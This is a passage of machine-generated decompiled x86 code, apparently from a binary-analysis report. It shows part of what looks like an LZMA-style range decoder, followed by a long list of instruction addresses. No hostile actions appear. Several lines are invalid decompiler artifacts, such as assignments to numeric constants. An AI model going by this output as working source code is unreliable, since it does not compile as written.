                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eax = __eax - __ecx;
                                                                                                        													__edx = __edx + 1;
                                                                                                        													__eflags = __edx;
                                                                                                        													 *__esi = __ax;
                                                                                                        													 *(__ebp - 0x50) = __edx;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L148;
                                                                                                        												} else {
                                                                                                        													goto L146;
                                                                                                        												}
                                                                                                        											case 0x19:
                                                                                                        												__eflags = __ebx - 4;
                                                                                                        												if(__ebx < 4) {
                                                                                                        													 *(__ebp - 0x2c) = __ebx;
                                                                                                        													L119:
                                                                                                        													_t393 = __ebp - 0x2c;
                                                                                                        													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                                        													__eflags =  *_t393;
                                                                                                        													L120:
                                                                                                        													__eax =  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax;
                                                                                                        													if(__eax == 0) {
                                                                                                        														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        														goto L170;
                                                                                                        													}
                                                                                                        													__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        													if(__eax >  *(__ebp - 0x60)) {
                                                                                                        														goto L171;
                                                                                                        													}
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        													__eax =  *(__ebp - 0x30);
                                                                                                        													_t400 = __ebp - 0x60;
                                                                                                        													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        													__eflags =  *_t400;
                                                                                                        													goto L123;
                                                                                                        												}
                                                                                                        												__ecx = __ebx;
                                                                                                        												__eax = __ebx;
                                                                                                        												__ecx = __ebx >> 1;
                                                                                                        												__eax = __ebx & 0x00000001;
                                                                                                        												__ecx = (__ebx >> 1) - 1;
                                                                                                        												__al = __al | 0x00000002;
                                                                                                        												__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        												__eflags = __ebx - 0xe;
                                                                                                        												 *(__ebp - 0x2c) = __eax;
                                                                                                        												if(__ebx >= 0xe) {
                                                                                                        													__ebx = 0;
                                                                                                        													 *(__ebp - 0x48) = __ecx;
                                                                                                        													L102:
                                                                                                        													__eflags =  *(__ebp - 0x48);
                                                                                                        													if( *(__ebp - 0x48) <= 0) {
                                                                                                        														__eax = __eax + __ebx;
                                                                                                        														 *(__ebp - 0x40) = 4;
                                                                                                        														 *(__ebp - 0x2c) = __eax;
                                                                                                        														__eax =  *(__ebp - 4);
                                                                                                        														__eax =  *(__ebp - 4) + 0x644;
                                                                                                        														__eflags = __eax;
                                                                                                        														L108:
                                                                                                        														__ebx = 0;
                                                                                                        														 *(__ebp - 0x58) = __eax;
                                                                                                        														 *(__ebp - 0x50) = 1;
                                                                                                        														 *(__ebp - 0x44) = 0;
                                                                                                        														 *(__ebp - 0x48) = 0;
                                                                                                        														L112:
                                                                                                        														__eax =  *(__ebp - 0x40);
                                                                                                        														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        															_t391 = __ebp - 0x2c;
                                                                                                        															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        															__eflags =  *_t391;
                                                                                                        															goto L119;
                                                                                                        														}
                                                                                                        														__eax =  *(__ebp - 0x50);
                                                                                                        														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        														__eax =  *(__ebp - 0x58);
                                                                                                        														__esi = __edi + __eax;
                                                                                                        														 *(__ebp - 0x54) = __esi;
                                                                                                        														__ax =  *__esi;
                                                                                                        														__ecx = __ax & 0x0000ffff;
                                                                                                        														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                                        														__eflags =  *(__ebp - 0xc) - __edx;
                                                                                                        														if( *(__ebp - 0xc) >= __edx) {
                                                                                                        															__ecx = 0;
                                                                                                        															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                                        															__ecx = 1;
                                                                                                        															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                                        															__ebx = 1;
                                                                                                        															__ecx =  *(__ebp - 0x48);
                                                                                                        															__ebx = 1 << __cl;
                                                                                                        															__ecx = 1 << __cl;
                                                                                                        															__ebx =  *(__ebp - 0x44);
                                                                                                        															__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                                        															__cx = __ax;
                                                                                                        															__cx = __ax >> 5;
                                                                                                        															__eax = __eax - __ecx;
                                                                                                        															__edi = __edi + 1;
                                                                                                        															__eflags = __edi;
                                                                                                        															 *(__ebp - 0x44) = __ebx;
                                                                                                        															 *__esi = __ax;
                                                                                                        															 *(__ebp - 0x50) = __edi;
                                                                                                        														} else {
                                                                                                        															 *(__ebp - 0x10) = __edx;
                                                                                                        															0x800 = 0x800 - __ecx;
                                                                                                        															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        															 *__esi = __dx;
                                                                                                        														}
                                                                                                        														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        														if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        															L111:
                                                                                                        															_t368 = __ebp - 0x48;
                                                                                                        															 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                                        															__eflags =  *_t368;
                                                                                                        															goto L112;
                                                                                                        														} else {
                                                                                                        															goto L109;
                                                                                                        														}
                                                                                                        													}
                                                                                                        													__ecx =  *(__ebp - 0xc);
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                                        													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                                        														__ecx =  *(__ebp - 0x10);
                                                                                                        														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        														__ebx = __ebx | 0x00000001;
                                                                                                        														__eflags = __ebx;
                                                                                                        														 *(__ebp - 0x44) = __ebx;
                                                                                                        													}
                                                                                                        													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        														L101:
                                                                                                        														_t338 = __ebp - 0x48;
                                                                                                        														 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                                        														__eflags =  *_t338;
                                                                                                        														goto L102;
                                                                                                        													} else {
                                                                                                        														goto L99;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__edx =  *(__ebp - 4);
                                                                                                        												__eax = __eax - __ebx;
                                                                                                        												 *(__ebp - 0x40) = __ecx;
                                                                                                        												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                                        												goto L108;
                                                                                                        											case 0x1a:
                                                                                                        												L56:
                                                                                                        												__eflags =  *(__ebp - 0x64);
                                                                                                        												if( *(__ebp - 0x64) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x1a;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x68);
                                                                                                        												__al =  *(__ebp - 0x5c);
                                                                                                        												__edx =  *(__ebp - 8);
                                                                                                        												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        												 *( *(__ebp - 0x68)) = __al;
                                                                                                        												__ecx =  *(__ebp - 0x14);
                                                                                                        												 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                                        												__eax = __ecx + 1;
                                                                                                        												__edx = 0;
                                                                                                        												_t192 = __eax %  *(__ebp - 0x74);
                                                                                                        												__eax = __eax /  *(__ebp - 0x74);
                                                                                                        												__edx = _t192;
                                                                                                        												goto L79;
                                                                                                        											case 0x1b:
                                                                                                        												L75:
                                                                                                        												__eflags =  *(__ebp - 0x64);
                                                                                                        												if( *(__ebp - 0x64) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x1b;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__edx =  *(__ebp - 8);
                                                                                                        												__cl =  *(__eax + __edx);
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												 *(__ebp - 0x5c) = __cl;
                                                                                                        												 *(__eax + __edx) = __cl;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__edx = 0;
                                                                                                        												_t274 = __eax %  *(__ebp - 0x74);
                                                                                                        												__eax = __eax /  *(__ebp - 0x74);
                                                                                                        												__edx = _t274;
                                                                                                        												__eax =  *(__ebp - 0x68);
                                                                                                        												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        												_t283 = __ebp - 0x64;
                                                                                                        												 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                                        												__eflags =  *_t283;
                                                                                                        												 *( *(__ebp - 0x68)) = __cl;
                                                                                                        												L79:
                                                                                                        												 *(__ebp - 0x14) = __edx;
                                                                                                        												goto L80;
                                                                                                        											case 0x1c:
                                                                                                        												while(1) {
                                                                                                        													L123:
                                                                                                        													__eflags =  *(__ebp - 0x64);
                                                                                                        													if( *(__ebp - 0x64) == 0) {
                                                                                                        														break;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        													if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        														__eax = __eax +  *(__ebp - 0x74);
                                                                                                        														__eflags = __eax;
                                                                                                        													}
                                                                                                        													__edx =  *(__ebp - 8);
                                                                                                        													__cl =  *(__eax + __edx);
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													 *(__ebp - 0x5c) = __cl;
                                                                                                        													 *(__eax + __edx) = __cl;
                                                                                                        													__eax = __eax + 1;
                                                                                                        													__edx = 0;
                                                                                                        													_t414 = __eax %  *(__ebp - 0x74);
                                                                                                        													__eax = __eax /  *(__ebp - 0x74);
                                                                                                        													__edx = _t414;
                                                                                                        													__eax =  *(__ebp - 0x68);
                                                                                                        													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                                        													__eflags =  *(__ebp - 0x30);
                                                                                                        													 *( *(__ebp - 0x68)) = __cl;
                                                                                                        													 *(__ebp - 0x14) = _t414;
                                                                                                        													if( *(__ebp - 0x30) > 0) {
                                                                                                        														continue;
                                                                                                        													} else {
                                                                                                        														L80:
                                                                                                        														 *(__ebp - 0x88) = 2;
                                                                                                        														goto L1;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												 *(__ebp - 0x88) = 0x1c;
                                                                                                        												goto L170;
                                                                                                        										}
                                                                                                        									}
                                                                                                        									L171:
                                                                                                        									_t544 = _t543 | 0xffffffff;
                                                                                                        									goto L172;
                                                                                                        								}
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					goto L1;
                                                                                                        				}
                                                                                                        			}














                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x00406402
                                                                                                        0x00406408
                                                                                                        0x0040641a
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x004063d6
                                                                                                        0x004063dc
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x004069b7
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x004069d3
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
